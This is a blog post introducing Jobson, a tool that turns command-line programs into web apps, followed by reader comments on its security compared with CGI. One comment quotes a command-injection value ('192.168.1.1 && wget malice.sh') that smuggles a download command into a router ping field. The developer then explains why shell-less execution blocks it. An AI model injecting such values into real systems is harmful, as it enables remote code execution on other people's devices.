Turn Command Lines into Web Apps

Even if you like using a graphical user interface, you can probably agree that writing a graphical program is usually harder than writing an old-fashioned text-based program. Putting that GUI into an online format means even more to think about. [Adam Kewley] has the answer to that problem: Jobson. As you can see in the video below, the program is a web server that runs command line programs as jobs.

Simply write a YAML file to describe the program’s inputs and outputs and Jobson will create input fields for arguments and display the output in a web page. Any files the program creates are available to download. Basically any command line program can be quickly and easily pulled into one web interface to rule them.

If a program takes a long time to run, Jobson will let you switch away and then later resume looking at the output. You can also abort a job or look at the arguments it received. Jobson can also authenticate users with several different methods to prevent just anyone from executing jobs.

If you really want to write a graphical program, try QTCreator. Or, you can get a shell in a web browser if you want to go that route. But this is the smoothest method we’ve seen for gathering command line programs into one place for monitoring and control. Neat!

15 thoughts on “Turn Command Lines into Web Apps

  1. Neat, maybe sandbox each scheduled program task in a chroot, custom snap, or docker+jenkins instance.

    It does seem like 80’s style CGI, and people invented Perl/Ruby/Java/PHP/Node.js to try making scripts “safe” to expose to the web — none succeed, so I guess your approach doesn’t really alter the dynamic risks much.

    There are quite a few batching schedulers popular on larger clusters, but I am not sure if these are open source yet.
    Someone will give a better answer — even if they don’t know… ;-)

    1. I wrote a longer post explaining some of the differences, but the dog (wordpress) ate my homework. Basically:

      – CGI involves passing the raw HTTP request headers, params, path, etc. into the script via the environment
      – Scripts would regularly mis-parse the environment variables and use them in unsafe ways, which led to hacks
      – In the old days, many CGI servers would run the script with root permissions, making a compromised script particularly nasty for the server
      – The Jobson API only accepts requests that have the correct “shape”, as stipulated through the YAML spec
      – Jobson is only passing what you specify to the underlying application, rather than almost everything. The application therefore does not have to do anywhere near as much legwork (which is where bugs came from)
      – Further to that, the “grand” vision of Jobson is for it to do much more processing (joining things, reformatting things) before passing it onto the “unsafe” application
      – The Jobson server can communicate entirely via a reverse proxy, so typical installations will have Jobson running in a container or low-privilege account while the user-facing server (which needs root in order to listen on port 80) will be something suitably production-grade like Nginx
      – However much web developers love to hate CGI, it has been running in the wild for decades. Don’t be surprised if your bank is using a CGI gateway for some transactions. The potential security flaws of bad input validation in a CGI script are major. However, web servers are significantly more complicated and have **many** more points of attack. The question fundamentally is: would you rather validate a few inputs to a script or write an entire web stack? Experienced developers will do both securely, inexperienced developers will do both insecurely. However, writing a full webapp will take significantly more time. Jobson, by design (strict API, strict argument forwarding /w transformations, shell-less forking, etc.) is likely to be significantly more secure than 80s CGI once fully developed.

  2. This is obviously less of an issue if it’s a for-my-convenience-only(and properly protected); but these sorts of arrangements are exciting ways to discover just how many different ways there are to sneak a second command into an input that is just supposed to be arguments for the intended command.

    Super common one dodgy router web interfaces(oh a ‘ping’ command for testing… let’s try “192.168.1.1 && wget malice.sh”)

    1. The number of arguments passed into an application directly corresponds to the entires in that YAML file. I can say this with confidence because Jobson isn’t running a shell and the hack you’re proposing involves confusing a shell interpreter (there isn’t one).

      The server is directly making fork+exec calls to the operating system, passing the stated arguments in, ultimately, as C strings. You can pass an argument containing megabytes of random noise and it won’t “misinterpret” what that means (a shell would, because that random noise will contain invalid characters).

    1. Yes, also the GUI-free:

      – Python scripting
      – Machine learning
      – Stats (R, etc.)
      – Compilers
      – Command-line utilities
      – Video processors
      – 3d renderers
      – Tinker projects

      That most people do every day of their professional lives and are already useful in the real, modern world will be even more useful!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s